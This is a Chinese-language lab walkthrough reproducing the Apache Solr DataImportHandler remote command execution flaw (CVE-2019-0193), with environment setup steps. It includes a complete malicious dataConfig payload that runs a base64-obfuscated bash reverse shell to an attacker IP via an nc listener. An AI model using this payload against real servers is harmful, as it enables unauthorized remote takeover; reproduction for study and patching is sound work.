Apache Solr 远程命令执行漏洞复现(CVE-2019-0193)
0x00 简介
Solr的目标用户:“需要搜索框、分面浏览(导航)或者两者结合的任何人”。
Solr的关键特性包括:
基于标准的开放接口——Solr搜索服务器支持通过XML、JSON和HTTP查询和获取结果。
易管理——Solr可以通过HTML页面管理,服务器统计数据以JMX输出,Solr配置通过XML完成。
分面浏览——搜索结果自动分类。
突出显示命中词——匹配的字符自动在搜索结果中高亮显示。
可伸缩性——快速增量更新和快照分发/复制到其他服务器。
灵活的插件体系——新功能能够以插件的形式方便的添加到Solr服务器上。
0x01 Solr站点特征
0x02 漏洞概述
2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
0x03 影响版本
Apache Solr < 8.2.0
0x04 环境搭建
配套环境:
Kali 2020
OpenJDK Runtime Environment (build 11.0.7-ea+9-post-Debian-1)
下载地址:
http://archive.apache.org/dist/lucene/solr/7.7.2/solr-7.7.2.tgz
在本地解压:
tar zxvf solr-7.7.2.tgz
进入solr-7.7.2/bin目录,执行命令:
./solr -e dih -force
查看本机IP,使用ifconfig:
通过另一台主机访问http://192.168.33.146:8983/solr即可访问环境:
0x05 漏洞利用
访问主页,任选一个Core,此处选择tika:
在攻击机开启nc监听9999端口:
1.访问Dataimport
2.勾选Debug
3.点击Debug Mode进入调试模式
4.替换配置文件内容为:(反弹shell到192.168.3.97:9999)
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuOTcvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
5.根据配置信息来执行
获取到反弹shell: